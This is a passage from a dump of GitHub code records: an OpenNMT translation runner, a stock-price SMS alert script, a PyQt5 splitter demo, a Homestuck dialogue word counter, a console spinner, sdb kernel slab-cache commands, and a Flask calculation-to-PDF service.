check=True)\n\nTRANSLATE_TABOO_FIELDS = {'dev_src', 'test_src', 'model'}\ndef translate(args):\n \"\"\"\n Runs OpenNMT translate script\n \"\"\"\n disable_eos_sampling = args['lm'].get('disable_eos_sampling', False)\n data_dir = args['onmt']['preprocessing']['data_dir']\n model_path = args['onmt']['training']['save_model']\n model_path = os.path.join(model_path, args['onmt']['translate']['model'])\n output_paths = (args['lm']['dev_output_path'], args['lm']['test_output_path'])\n data_paths = (os.path.join(data_dir, args['onmt']['translate']['dev_src']),\n os.path.join(data_dir, args['onmt']['translate']['test_src']))\n\n for data_path, output_path in zip(data_paths, output_paths):\n os.makedirs(os.path.dirname(output_path), exist_ok=True)\n args_str = form_arg_str(args['onmt']['translate'], TRANSLATE_TABOO_FIELDS)\n args_str += [f'-src {data_path}', f'-output {output_path}', f'-model {model_path}']\n if disable_eos_sampling:\n args_str.append(\"-disable_eos_sampling\")\n args_str = \" \".join(args_str)\n cmd = TRANSLATE_CMD.format(args_str)\n print(f\"> {cmd}\")\n subprocess.run(cmd, shell=True, check=True)\n\ndef evaluate(args):\n \"\"\"\n Runs custom evaluation script\n \"\"\"\n cmd = EVALUATE_CMD.format(args['config'])\n print(f\"> {cmd}\")\n subprocess.run(cmd, shell=True, check=True)\n\n\ndef main():\n # load in the yaml config with all of the args\n args = load_args()\n\n # if we have already run the preprocessing scripts, .vocab and .train and .val should already exist\n # so don't run them again.\n if should_run_preprocessing(args):\n print(\"Running preprocessing script\")\n run_preprocessing(args)\n else:\n print(\"Found preprocessed data!\")\n\n # Relatedly, only train the model if the the command line arg \"--train-seq2seq\" was passed.\n if should_train(args):\n train(args)\n else:\n print(\"Skipping training.\")\n\n # Then, get predicted sequences from the model on the dev data and test data\n translate(args)\n\n # Finally, evaluate the model on dev/test (this involves calling our old friend `run.py`)\n # evaluate(args) # DON'T run at same time because this one doesn't need gpu\n # (and we don't want to take up the GPU unecessarily)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bnewm0609/eos-decision","sub_path":"scripts/translation/onmt_preprocess.py","file_name":"onmt_preprocess.py","file_ext":"py","file_size_in_byte":5551,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"39579577097","text":"import requests\nfrom twilio.rest import Client\n\nSTOCK_NAME = \"TSLA\"\nCOMPANY_NAME = \"Tesla Inc\"\n\nSTOCK_ENDPOINT = \"https://www.alphavantage.co\"\nNEWS_ENDPOINT = \"https://newsapi.org/v2/everything\"\nNEWS_KEY = \"enter key\"\nAPI_KEY_ST = \"enter st\"\n\nTW_SID = \"enter sid\"\nTW_AUTH_TOKEN = \"enter token\"\n# STEP 1: Use https://www.alphavantage.co/documentation/#daily\n# When stock price increase/decreases by 5% between yesterday and the day before yesterday then print(\"Get News\").\n\nstock_parameters = {\n \"function\": \"TIME_SERIES_DAILY\",\n \"symbol\": STOCK_NAME,\n \"apikey\": API_KEY_ST\n}\n\n\n# TODO 1. - Get yesterday's closing stock price. Hint: You can perform list comprehensions on Python dictionaries.\n# e.g. [new_value for (key, value) in dictionary.items()]\n\nresponse = requests.get(STOCK_ENDPOINT, params=stock_parameters)\nresponse.raise_for_status()\ndata = response.json()\n\ndata_dict = data[\"Time Series (Daily)\"]\n\n# using list comprehension on the dictionary to convert items into a list so that they can be called by indexing\nstock_data = [value for (key, value) in data_dict.items()] # we only need values. keys are dates which are not ideal\n# print(stock_data)\n\nyesterday_data = stock_data[0]\nyesterday_closing = float(yesterday_data[\"4. close\"])\nprint(yesterday_closing)\n\n\n# Get the day before yesterday's closing stock price\n\nday_before_yesterday_data = stock_data[1]\nday_before_yesterday_closing = float(day_before_yesterday_data[\"4. close\"])\nprint(day_before_yesterday_closing)\n\n\n# Find the positive difference between today's and yesterday's prices\n# Hint: https://www.w3schools.com/python/ref_func_abs.asp\ndifference = (float(yesterday_closing) - float(day_before_yesterday_closing))\nup_down = None\nif difference > 0:\n up_down = \"⬆️\"\nelse:\n up_down = \"⬇️\"\n\n\n# Work out the percentage difference in price between closing price yesterday and closing price the day before yesterday\n\ndiff_percentage = round((difference / float(yesterday_closing) * 100))\n\n\n# if percentage is greater than a specified number,then get three news articles relating to the company\nif abs(diff_percentage) > 1:\n news_params = {\n \"q\": COMPANY_NAME,\n \"apiKey\": NEWS_KEY\n\n }\n news_response = requests.get(NEWS_ENDPOINT, params=news_params) # using NewsAPI to get articles on the COMPANY_NAME\n news_response.raise_for_status()\n news_data = news_response.json()[\"articles\"]\n # Use Python slice operator to create a list that contains the first 3 articles\n relevant_news_articles = news_data[:3]\n\n\n ## STEP 3: Use twilio.com/docs/sms/quickstart/python\n #to send a separate message with each article's title and description to your phone number. \n\n # relevant news articles is a list. using list comprehension create a new list of the first 3 article's\n # headline and description in a format of \"Headline\": {article headline}\\n \"brief\":{article description\n\n formatted_news = [f\"{COMPANY_NAME}:{up_down}:{diff_percentage}Headline: {article['title']}\" \\\n f\"\\nBrief:{article['description']}\" for article in relevant_news_articles]\n\n# TODO 9. - Send each article as a separate message via Twilio.\n client = Client(TW_SID, TW_AUTH_TOKEN)\n for article in formatted_news:\n message = client.messages \\\n .create(body=article, from_='+19036664583', to='+123456789')\n\n print(message.sid)\n\n# Optional TODO: Format the message like this:\n\"\"\"\nTSLA: 🔺2%\nHeadline: Were Hedge Funds Right About Piling Into Tesla Inc. (TSLA)?. \nBrief: We at Insider Monkey have gone over 821 13F filings that hedge funds and prominent investors are required to file\n by the SEC The 13F filings show the funds' and investors' portfolio positions as of March 31st, near the height of the\n coronavirus market crash.\nor\n\"TSLA: 🔻5%\nHeadline: Were Hedge Funds Right About Piling Into Tesla Inc. (TSLA)?. \nBrief: We at Insider Monkey have gone over 821 13F filings that hedge funds and prominent investors are required to file\n by the SEC The 13F filings show the funds' and investors' portfolio positions as of March 31st, near the height of the\n coronavirus market crash.\n\"\"\"\n\n","repo_name":"NithinNazar/Python_Projects","sub_path":"Day_36_stock_alerts_projects/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26192310579","text":"import sys\nfrom PyQt5.QtWidgets import (QWidget, QHBoxLayout, QFrame,\n QSplitter, QTextEdit, QApplication)\nfrom PyQt5.QtCore import Qt\n\n\nclass SplitterExample(QWidget):\n def __init__(self):\n super(SplitterExample, self).__init__()\n self.initUI()\n\n def initUI(self):\n\n # Инициализировать элемент управления\n topleft = QFrame()\n topleft.setFrameShape(QFrame.StyledPanel)\n bottom = QFrame()\n bottom.setFrameShape(QFrame.StyledPanel)\n textedit = QTextEdit()\n\n # Установите первыйSplitterНаправление расположения\n splitter1 = QSplitter(Qt.Horizontal)\n # Является первымSplitterДобавьте элементы управления и установите пространство, занимаемое двумя элементами управления\n splitter1.addWidget(topleft)\n splitter1.addWidget(textedit)\n splitter1.setSizes([100, 200])\n\n # Установите второеSplitterНаправление расположения, первоеSplitterВложенный во второй\n splitter2 = QSplitter(Qt.Vertical)\n splitter2.addWidget(splitter1)\n splitter2.addWidget(bottom)\n\n # Установить глобальный макет\n hbox = QHBoxLayout(self)\n hbox.addWidget(splitter2)\n self.setLayout(hbox)\n\n self.setWindowTitle('QSplitter пример')\n self.setGeometry(300, 300, 300, 200)\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n demo = SplitterExample()\n demo.show()\n sys.exit(app.exec_())","repo_name":"Irashia/Parser_cript","sub_path":"Proba.py","file_name":"Proba.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15545449290","text":"import json\nfrom bs4 import BeautifulSoup\nimport re\nimport random\nimport math\n\n# TODO PCG (among others) is counted as \"other\" rather than CG. I dont want to add 24*4 (P,C,F,?) aliases to EACH list\ncs = \"john, rose, dave, jade, aradia, tavros, sollux, karkat, nepeta, kanaya, terezi, vriska, equius, gamzee, eridan, feferi, aranea, meenah, jane, jake, roxy, dirk, calliope, caliborn, jasprosesprite^2, davepetasprite^2, other\"\ncharacterData = {}\nfor c in cs.split(\", \"):\n\tcharacterData[c.upper()] = {\"lines\": [], \"wordCounts\": {}, \"cursePercentage\": 0, \"words\": 0}\n\npre_scratch_alias = {\n\t\"EB\":\"JOHN\",\n\t\"GT\":\"JOHN\",\n\t\"TT\":\"ROSE\",\n\t\"TG\":\"DAVE\",\n\t\"GG\":\"JADE\",\n\t\"AA\":\"ARADIA\",\n\t\"AT\":\"TAVROS\",\n\t\"TA\":\"SOLLUX\",\n\t\"CG\":\"KARKAT\",\n\t\"AC\":\"NEPETA\",\n\t\"GA\":\"KANAYA\",\n\t\"GC\":\"TEREZI\",\n\t\"AG\":\"VRISKA\",\n\t\"CT\":\"EQUIUS\",\n\t\"TC\":\"GAMZEE\",\n\t\"CA\":\"ERIDAN\",\n\t\"CC\":\"FEFERI\"\n}\n\npost_scratch_alias = {\n\t\"GT\":\"JAKE\",\n\t\"TT\":\"DIRK\",\n\t\"TG\":\"ROXY\",\n\t\"GG\":\"JANE\",\n\t\"AA\":\"ARADIA\",\n\t\"AT\":\"TAVROS\",\n\t\"TA\":\"SOLLUX\",\n\t\"CG\":\"KARKAT\",\n\t\"AC\":\"NEPETA\",\n\t\"GA\":\"KANAYA\",\n\t\"GC\":\"TEREZI\",\n\t\"AG\":\"ARANEA\",\n\t\"CT\":\"EQUIUS\",\n\t\"TC\":\"GAMZEE\",\n\t\"CA\":\"ERIDAN\",\n\t\"CC\":\"FEFERI\",\n\t\"UU\":\"CALLIOPE\",\n\t\"uu\":\"CALIBORN\"\n}\n\naliases = {}\ndef unquirk(character, text):\n\tif character == \"ARADIA\":\n\t\ttext = re.sub(\"0\", \"o\", text)\n\telif character == \"SOLLUX\":\n\t\ttext = re.sub(\"ii\", \"i\", text)\n\t\ttext = re.sub(\"2\", \"s\", text)\n\telif character == \"NEPETA\":\n\t\ttext = re.sub(\"33\", \"ee\", text)\n\telif character == \"TEREZI\":\n\t\ttext = re.sub(\"4\", \"a\", text)\n\t\ttext = re.sub(\"1\", \"i\", text)\n\t\ttext = re.sub(\"3\", \"e\", text)\n\telif character == \"VRISKA\":\n\t\ttext = re.sub(\"8\", \"b\", text) # NOT SO BUT IT'S NP COMPLETE\n\telif character == \"EQUIUS\":\n\t\ttext = re.sub(\"100\", \"loo\", text)\n\t\ttext = re.sub(\"%\", \"x\", text)\n\telif character == \"ERIDAN\":\n\t\ttext = re.sub(\"vv\", \"v\", text)\n\t\ttext = re.sub(\"ww\", \"w\", text)\n\telif character == \"FEFERI\":\n\t\ttext = re.sub(\"-+e\", \"e\", text)\n\treturn text\n\n\ndef createPureText():\n\twith open(\"mspa.json\", \"r\") as f:\n\t\tdata = json.load(f)\n\n\twith open(\"Pure_Text\", \"w\") as f:\n\t\tfor i in range(8130):\n\t\t\tpage = str(i+1901).zfill(6)\n\t\t\ttry:\t\n\t\t\t\ttext = data[\"story\"][page][\"content\"]\n\t\t\t\tfor l in text.split(\"
\"):\n\t\t\t\t\tsoup = BeautifulSoup(l, 'html.parser').get_text()\n\t\t\t\t\tf.write(soup + \"\\n\")\n\t\t\texcept:\n\t\t\t\tcontinue\n\t\t\tif i%813 == 0:\n\t\t\t\tprint(\"{}%\".format(i/813*10))\n\ndef charFill():\n\twith open(\"Pure_Text\", \"r\") as f:\n\t\ttext = f.read()\n\t\tlines = text.split(\"\\n\")\n\t\tfor i,line in enumerate(lines):\n\t\t\twords = re.findall(\"[\\w'\\^]+\", line)\n\t\t\tif len(words) > 0:\n\t\t\t\ttry: # try: speaker = first word\n\t\t\t\t\tname = words[0]\n\t\t\t\t\tspeaker = characterData[name]\n\t\t\t\texcept:\n\t\t\t\t\tif i <= 32406:\n\t\t\t\t\t\talias = pre_scratch_alias\n\t\t\t\t\telse:\n\t\t\t\t\t\talias = post_scratch_alias\n\t\t\t\t\ttry: # try: speaker is under alias (CG, AA, etc.)\n\t\t\t\t\t\tname = alias[words[0]]\n\t\t\t\t\t\tspeaker = characterData[name]\n\t\t\t\t\texcept:\n\t\t\t\t\t\tif len(words[0]) == 3 and words[0].upper() == words[0]: # if the first word is uppercase and 3 letters\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tname = alias[words[0][1::]]\n\t\t\t\t\t\t\t\tspeaker = characterData[name]\n\t\t\t\t\t\t\t\tprint(words[0][1::])\n\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\tname = \"OTHER\"\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tname = \"OTHER\" # others: narration, nannasprite, pipefan413\n\t\t\t\tcharacterData[name][\"lines\"].append(words)\n\t\t\n\n\t\tfor c in characterData:\n\t\t\tprint(c)\n\t\t\tswearCount = 0\n\t\t\twords = 0\n\t\t\tfor l in characterData[c][\"lines\"]:\n\t\t\t\tif c != \"OTHER\":\n\t\t\t\t\tline = l[1::]\n\t\t\t\telse:\n\t\t\t\t\tline = l\n\t\t\t\tfor w in line:\n\n\t\t\t\t\ttry: # add to word counts\n\t\t\t\t\t\tcharacterData[c][\"wordCounts\"][w] += 1\n\t\t\t\t\texcept:\n\t\t\t\t\t\tcharacterData[c][\"wordCounts\"][w] = 1\n\n\t\t\t\t\tswears = [\"fuck\", \"shit\", \"ass\", \"dick\", \"damn\", \"bitch\", \"hell\"]\n\t\t\t\t\tfor s in swears:\n\t\t\t\t\t\tif len(re.findall(s, unquirk(c, w.lower()))) != 0:\n\t\t\t\t\t\t\tswearCount += 1\n\n\t\t\t\t\tcharacterData[c][\"words\"] += 1 # add to word count\n\n\t\t\tcharacterData[c][\"cursePercentage\"] = swearCount/characterData[c][\"words\"]\n\t\tprint()\n\n\n\ndef sortByFactor():\n\tfor c in dict(sorted(characterData.items(), key=lambda item: len(item[1][\"wordCounts\"]), reverse = True)):\n\t\tprint(\"{}: {:.5f}\".format(c, len(characterData[c][\"wordCounts\"])))\n\n\t\t\"\"\"\n\t\twordsArray = re.findall(\"[\\w']+\", text)\n\t\tfor word in wordsArray:\n\t\t\tword = word.lower()\n\t\t\tif random.random()*1000 < 1:\n\t\t\t\tprint(word)\n\t\t\"\"\"\n\ndef findTrollNames():\n\twith open(\"Pure_Text\", \"r\") as f:\n\t\ttext = f.read()\n\twith open(\"Troll_Names\", \"w\") as f:\n\t\twords = re.findall(\"[\\w'\\^]+\", text)\n\t\tallWords = set()\n\t\tnotUniqueWords = set()\n\t\tprint(len(words))\n\t\tfor i,w in enumerate(words):\n\t\t\tword = w.lower()\n\t\t\tif len({word}.intersection(allWords)) == 1:\n\t\t\t\tnotUniqueWords.add(word)\n\t\t\telse:\n\t\t\t\tallWords.add(word)\n\t\t\tif i%6833 == 0:\n\t\t\t\tprint(\"{:.0f}%, {}\".format(i/6833, len(allWords)/len(notUniqueWords)))\n\t\tfor word in allWords:\n\t\t\tf.write(\"{word}\\n\".format(word))\n\n#createPureText()\n#charFill()\n#sortByFactor()\nfindTrollNames()\n\"\"\"\nwith open(\"mspa.json\", \"r\") as f:\n\tdata = json.load(f)\ntext = data[\"story\"][\"008227\"][\"content\"]\nfor l in text.split(\"
\"):\n\tsoup = BeautifulSoup(l, 'html.parser').get_text()\n\tprint(soup)\n\"\"\"\n\n\n\n\n\n\n","repo_name":"WalrusesAreAwesome/HS-Texts","sub_path":"counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17600870307","text":"\nimport time;\nimport sys;\nCursor_R=\"\\\\|/-\";\ndef Rotate(Massage=\"Massage\",Time=0.2,Repeat=5):\n\twhile(Repeat>=0):\n\t\tfor charactors in Cursor_R:\n\t\t\ttime.sleep(Time);\n\t\t\tsys.stdout.write(\"\\r{}{}\".format(Massage,charactors));\n\t\t\tsys.stdout.flush();\n\t\tRepeat=Repeat-1;\n\nRotate(\"Downloading....\");","repo_name":"one-exploits/rotate_like_msfconsole","sub_path":"Rotating.py","file_name":"Rotating.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73887815825","text":"import argparse\nimport textwrap\nfrom typing import Any, Dict, Iterable, List, Tuple\n\nimport drgn\nfrom drgn.helpers.linux.slab import slab_cache_for_each_allocated_object\n\nimport sdb\nfrom sdb.commands.internal.fmt import size_nicenum\nfrom sdb.commands.internal.table import Table\nfrom sdb.commands.spl.internal import kmem_helpers as kmem\n\n\nclass SplKmemCaches(sdb.Locator, sdb.PrettyPrinter):\n\n names = [\"spl_kmem_caches\"]\n\n input_type = \"spl_kmem_cache_t *\"\n output_type = \"spl_kmem_cache_t *\"\n load_on = [sdb.Module(\"spl\")]\n\n @classmethod\n def _init_parser(cls, name: str) -> argparse.ArgumentParser:\n parser = super()._init_parser(name)\n parser.add_argument(\n '-H',\n action='store_false',\n help=\n 'do not display headers and separate fields by a single tab (scripted mode)'\n )\n parser.add_argument('-o',\n metavar=\"FIELDS\",\n help='comma-separated list of fields to display')\n parser.add_argument('-p',\n action='store_true',\n help='display numbers in parseable (exact) values')\n parser.add_argument(\n '-r',\n '--recursive',\n action='store_true',\n help='recurse down children caches and print statistics')\n parser.add_argument('-s', metavar=\"FIELD\", help='sort rows by FIELD')\n parser.add_argument('-v',\n action='store_true',\n help='Print all statistics')\n #\n # We change the formatter so we can add newlines in the epilog.\n #\n parser.formatter_class = argparse.RawDescriptionHelpFormatter\n parser.epilog = textwrap.fill(\n f\"FIELDS := {', '.join(SplKmemCaches.FIELDS.keys())}\\n\",\n width=80,\n replace_whitespace=False)\n parser.epilog += \"\\n\\n\"\n parser.epilog += textwrap.fill(\n (\"If -o is not specified the default fields used are \"\n f\"{', '.join(SplKmemCaches.DEFAULT_FIELDS)}.\\n\"),\n width=80,\n replace_whitespace=False)\n parser.epilog += \"\\n\\n\"\n parser.epilog += textwrap.fill(\n (\"If the -s option is not specified and the command's \"\n \"output is not piped anywhere then we sort by the \"\n \"following fields in order: \"\n f\"{', '.join(SplKmemCaches.DEFAULT_SORT_FIELDS)}. \"\n \"If none of those exists in the field-set we sort by \"\n \"the first field specified in the set.\"),\n width=80,\n replace_whitespace=False)\n return parser\n\n def no_input(self) -> Iterable[drgn.Object]:\n #\n # If this command is not the last term of a pipeline (which\n # means that the pretty-printing code won't run) we still\n # need the `-s` option to work in order to sort the output\n # that will be the input of the next command in the pipeline.\n #\n if self.args.s and not self.islast:\n if SplKmemCaches.FIELDS[self.args.s] is None:\n raise sdb.CommandInvalidInputError(\n self.name, f\"'{self.args.s}' is not a valid field\")\n yield from sorted(\n kmem.for_each_spl_kmem_cache(),\n key=SplKmemCaches.FIELDS[self.args.s],\n reverse=(self.args.s\n not in SplKmemCaches.DEFAULT_INCREASING_ORDER_FIELDS))\n else:\n yield from kmem.for_each_spl_kmem_cache()\n\n FIELDS = {\n \"address\": lambda obj: hex(obj.value_()),\n \"name\": kmem.slab_name,\n \"flags\": kmem.slab_flags,\n \"object_size\": kmem.object_size,\n \"entry_size\": kmem.entry_size,\n \"slab_size\": kmem.slab_size,\n \"objects_per_slab\": kmem.objs_per_slab,\n \"entries_per_slab\": kmem.objs_per_slab,\n \"slabs\": kmem.nr_slabs,\n \"active_slabs\": kmem.slab_alloc,\n \"active_memory\": kmem.active_memory,\n \"total_memory\": kmem.total_memory,\n \"objs\": kmem.nr_objects,\n \"active_objs\": kmem.obj_alloc,\n \"inactive_objs\": kmem.obj_inactive,\n \"source\": kmem.slab_linux_cache_source,\n \"util\": kmem.util,\n }\n DEFAULT_FIELDS = [\n \"name\",\n \"entry_size\",\n \"active_objs\",\n \"active_memory\",\n \"source\",\n \"total_memory\",\n \"util\",\n ]\n DEFAULT_SORT_FIELDS = [\"active_memory\", \"address\", \"name\"]\n\n #\n # In general we prefer values to be sorted decreasing order\n # (e.g. show me the slab caches that use up the most memory\n # at the top) but there are certain fields like the ones\n # below where it may make more sense to sort in increasing\n # order like strings where we sort them alphabetically or\n # pointers.\n #\n DEFAULT_INCREASING_ORDER_FIELDS = [\"name\", \"address\"]\n\n def __pp_parse_args(self) -> Tuple[str, List[str], Dict[str, Any]]:\n fields = SplKmemCaches.DEFAULT_FIELDS\n if self.args.o:\n fields = self.args.o.split(\",\")\n elif self.args.v:\n fields = list(SplKmemCaches.FIELDS.keys())\n\n for field in fields:\n if field not in SplKmemCaches.FIELDS:\n raise sdb.CommandError(self.name,\n f\"'{field}' is not a valid field\")\n\n sort_field = \"\"\n if self.args.s:\n if self.args.s not in fields:\n msg = f\"'{self.args.s}' is not in field set ({', '.join(fields)})\"\n raise sdb.CommandInvalidInputError(self.name,\n textwrap.fill(msg, width=80))\n sort_field = self.args.s\n else:\n #\n # If a sort_field hasn't been specified try the following\n # defaults. If these are not part of the field-set then\n # sort by the first field in the set.\n #\n for field in self.DEFAULT_SORT_FIELDS:\n if field in fields:\n sort_field = field\n break\n if not sort_field:\n sort_field = fields[0]\n\n formatters = {\n \"active_memory\": size_nicenum,\n \"total_memory\": size_nicenum\n }\n if self.args.p:\n formatters = {}\n\n return sort_field, fields, formatters\n\n def pretty_print(self, objs: Iterable[drgn.Object]) -> None:\n sort_field, fields, formatters = self.__pp_parse_args()\n table = Table(fields, set(fields) - {\"name\"}, formatters)\n for obj in objs:\n row_dict = {\n field: SplKmemCaches.FIELDS[field](obj) for field in fields\n }\n table.add_row(row_dict[sort_field], row_dict)\n table.print_(print_headers=self.args.H,\n reverse_sort=(sort_field not in [\"name\", \"address\"]))\n\n\nclass SplKmemCacheWalker(sdb.Walker):\n \"\"\"\n Walk through all allocated entries of an spl_kmem_cache.\n\n DESCRIPTION\n Walk through all allocated entries of an spl_kmem_cache. If\n the cache is backed by a SLUB cache then iteration will be\n delegated to the appropriate walker (keep in mind that in\n this case not all objects may be part of the actual SPL\n cache due to the SLUB allocator in Linux merging objects).\n\n EXAMPLES\n Print all the objects in the ddt_cache:\n\n sdb> spl_kmem_caches | filter 'obj.skc_name == \"ddt_cache\"' | spl_cache\n (void *)0xffffa08937e80040\n (void *)0xffffa08937e86180\n (void *)0xffffa08937e8c2c0\n (void *)0xffffa08937e92400\n ...\n \"\"\"\n\n names = [\"spl_cache\"]\n input_type = \"spl_kmem_cache_t *\"\n load_on = [sdb.Module(\"spl\")]\n\n def walk(self, obj: drgn.Object) -> Iterable[drgn.Object]:\n if kmem.backed_by_linux_cache(obj):\n yield from slab_cache_for_each_allocated_object(\n obj.skc_linux_cache, \"void\")\n else:\n yield from kmem.for_each_object_in_spl_cache(obj)\n","repo_name":"delphix/sdb","sub_path":"sdb/commands/spl/spl_kmem_caches.py","file_name":"spl_kmem_caches.py","file_ext":"py","file_size_in_byte":8101,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"48"} +{"seq_id":"12241707044","text":"import os\nimport json\nimport tempfile\nimport pdfkit\nfrom collections import OrderedDict\nfrom pathlib import Path\nfrom flask import request, render_template, jsonify, abort, current_app, make_response\nfrom vanguard import app\nfrom techlib.schemautils import sDocPrj\nfrom techlib.genutils import load_class, load_function, change_date_format\n\n@app.route('/calculations/')\ndef calc_index():\n curr_dir = os.path.dirname(os.path.abspath(__file__))\n calc_index_html_path = os.path.join('root', 'index.html')\n return render_template(calc_index_html_path)\n\n\n@app.route('/calculations//')\ndef calc_category_index(calc_index_path):\n curr_dir = os.path.dirname(os.path.abspath(__file__))\n calc_index_path = os.path.sep.join(calc_index_path.strip('/').split('/'))\n calc_index_html_path = os.path.join('root', calc_index_path, 'index.html')\n try:\n return render_template(calc_index_html_path)\n except Exception as e:\n return \"Invalid Path\"\n\n@app.route('/htm/calculate/', methods=['GET', 'POST'])\ndef htm_calculate(calc_path):\n try:\n if (request.method=='GET'):\n curr_dir = os.path.dirname(os.path.abspath(__file__))\n calc_path = os.path.sep.join(calc_path.strip('/').split('/'))\n doc_json_path = os.path.join(curr_dir, 'root', calc_path, 'doc.json')\n doc = json.load(open(doc_json_path), object_pairs_hook=OrderedDict)\n doc_string = json.dumps(doc, indent=4)\n doc_html_path = os.path.join('root', calc_path, 'doc.html')\n else:\n doc_file = request.files['doc']\n docRaw = json.loads(doc_file.read().decode('utf-8'))\n curr_dir = os.path.dirname(os.path.abspath(__file__))\n calc_path = os.path.sep.join(calc_path.strip('/').split('/'))\n schema_path = os.path.join(curr_dir, 'root', calc_path, 'schema.py')\n macro_path = os.path.join(curr_dir, 'root', calc_path, 'macro.py')\n docSchema = load_class(schema_path, 'docSchema')\n docParsed = docSchema.load(docRaw)\n if (len(docParsed.errors) > 0):\n response = {}\n response['message'] = \"Document Contains Errors\"\n response[\"schemaErrors\"] = docParsed.errors\n return json_response(response), 400\n\n calculate = load_function(macro_path, 'calculate')\n doc = docParsed.data\n calculate(doc)\n doc_string = json.dumps(doc, indent=4)\n doc_html_path = os.path.join('root', calc_path, 'doc.html')\n return render_template(doc_html_path, doc=doc_string)\n except Exception as e:\n print(str(e))\n print('there were errors')\n return \"Failure in loading the calculation from path\"\n\n\n\n@app.route('/api/calculate/', methods=['GET','POST'])\ndef api_calculate(calc_path):\n try:\n if (request.method=='GET'):\n curr_dir = os.path.dirname(os.path.abspath(__file__))\n doc_json_path = os.path.join(curr_dir, 'root', calc_path, 'doc.json')\n doc = json.load(open(doc_json_path), object_pairs_hook=OrderedDict)\n response = doc\n else:\n req = request.get_json()\n docRaw = req['doc']\n curr_dir = os.path.dirname(os.path.abspath(__file__))\n calc_path = os.path.sep.join(calc_path.strip('/').split('/'))\n schema_path = os.path.join(curr_dir, 'root', calc_path, 'schema.py')\n macro_path = os.path.join(curr_dir, 'root', calc_path, 'macro.py')\n docSchema = load_class(schema_path, 'docSchema')\n docParsed = docSchema.load(docRaw)\n if (len(docParsed.errors) > 0):\n response = {}\n response['message'] = \"Document Contains Errors\"\n response[\"schemaErrors\"] = docParsed.errors\n return json_response(response), 400\n\n calculate = load_function(macro_path, 'calculate')\n doc = docParsed.data\n calculate(doc)\n response= doc\n return json_response(response)\n except Exception as e:\n print(str(e))\n response = {}\n response[\"message\"] = \"Error occcured\"\n response[\"error_text\"] = str(e)\n return json_response(response), 400\n\n\ndef json_response(input):\n str_response = json.dumps(input, indent=4)\n return current_app.response_class(str_response, mimetype='application/json')\n\n\n@app.route('/pdf/calculate/', methods=['POST'])\ndef convert_pdf(calc_path):\n response = {}\n options = {}\n options['header-html'] ='dummy'\n try:\n req = request.get_json()\n if ('doc' not in req):\n errors['message'] = \"'resource' missing in request\"\n return json_response(errors), 400\n print (\"received document for pdf conversion\")\n docRaw = req['doc']\n basicSchema = sDocPrj()\n docParsed = basicSchema.load(docRaw)\n if (len(docParsed.errors) > 0):\n response[\"message\"] = \"The Document Meta Information has errors\"\n response[\"schemaErrors\"] = docParsed.errors\n return json_response(errors), 400\n\n doc = docParsed.data\n doc_string = json.dumps(doc, indent=4)\n project_no= doc['meta']['project_no']\n project_title= doc['meta']['project_title']\n docClass_code = doc['meta']['docClass_code']\n title = doc[\"meta\"][\"docInstance_title\"]\n doc_no = doc['meta']['doc_no']\n rev = doc['meta']['rev']\n date = doc['meta']['date']\n\n curr_dir = os.path.dirname(os.path.abspath(__file__))\n calc_path = os.path.sep.join(calc_path.strip('/').split('/'))\n doc_html_path = os.path.join('root', calc_path, 'doc.html')\n main_content = render_template(doc_html_path, doc=doc_string)\n\n options = {\n 'page-size' : 'A4',\n 'margin-top':'25mm',\n 'margin-bottom':'19mm',\n 'margin-left':'19mm',\n 'margin-right':'19mm',\n 'encoding':'UTF-8',\n 'print-media-type' : None,\n # 'header-left' : 'My Static Header',\n 'header-line' : None,\n 'header-font-size' : '8',\n 'header-font-name' : 'Calibri',\n 'header-spacing' : '5',\n 'footer-left' : \"www.codecalculation.com\",\n 'footer-line' : None,\n 'footer-font-size' : '8',\n 'footer-font-name' : 'Calibri',\n 'footer-spacing' : '5',\n 'disable-smart-shrinking' : None,\n 'no-stop-slow-scripts' : None,\n 'javascript-delay': 300,\n 'enable-javascript': None,\n 'debug-javascript': None,\n '--encoding': \"utf-8\",\n 'header-html':''\n }\n\n user_home_dir = str(Path.home())\n wkhtmltopdf_path = os.path.join(user_home_dir, 'wkhtmltox/bin/wkhtmltopdf')\n config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path)\n this_folderpath = os.path.dirname(os.path.abspath(__file__))\n css_path = os.path.join(this_folderpath, 'print.css')\n\n context_header = {}\n context_header['title'] = title\n context_header['rev'] = rev\n context_header['doc_no'] = doc_no\n context_header['date'] = change_date_format(date)\n add_pdf_header(options, context_header=context_header)\n pdf = pdfkit.from_string(main_content, False, configuration=config, options=options, css=css_path)\n response = pdf_response(pdf)\n except Exception as e:\n print(str(e))\n response['message'] = str(e)\n return json_response(response), 400\n finally:\n if (os. path. isfile(options['header-html'])):\n os.remove(options['header-html'])\n\n return response\n\n\ndef add_pdf_header(options, context_header):\n with tempfile.NamedTemporaryFile(suffix='.html', delete=False) as header:\n options['header-html'] = header.name\n header.write(\n render_template('header.html', context_header=context_header).encode('utf-8')\n )\n return\n\ndef add_pdf_footer(options):\n # same behaviour as add_pdf_header but without passing any variable\n return\n\ndef pdf_response(pdf):\n response = make_response(pdf)\n response.headers['Content-Type'] = 'application/pdf'\n filename = 'pdf-from-html.pdf'\n response.headers['Content-Disposition'] = ('attachment; filename=' + filename)\n return response\n","repo_name":"sandeeprah/vanguard","sub_path":"vanguard/calc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8492,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"26324994916","text":"import json\nimport 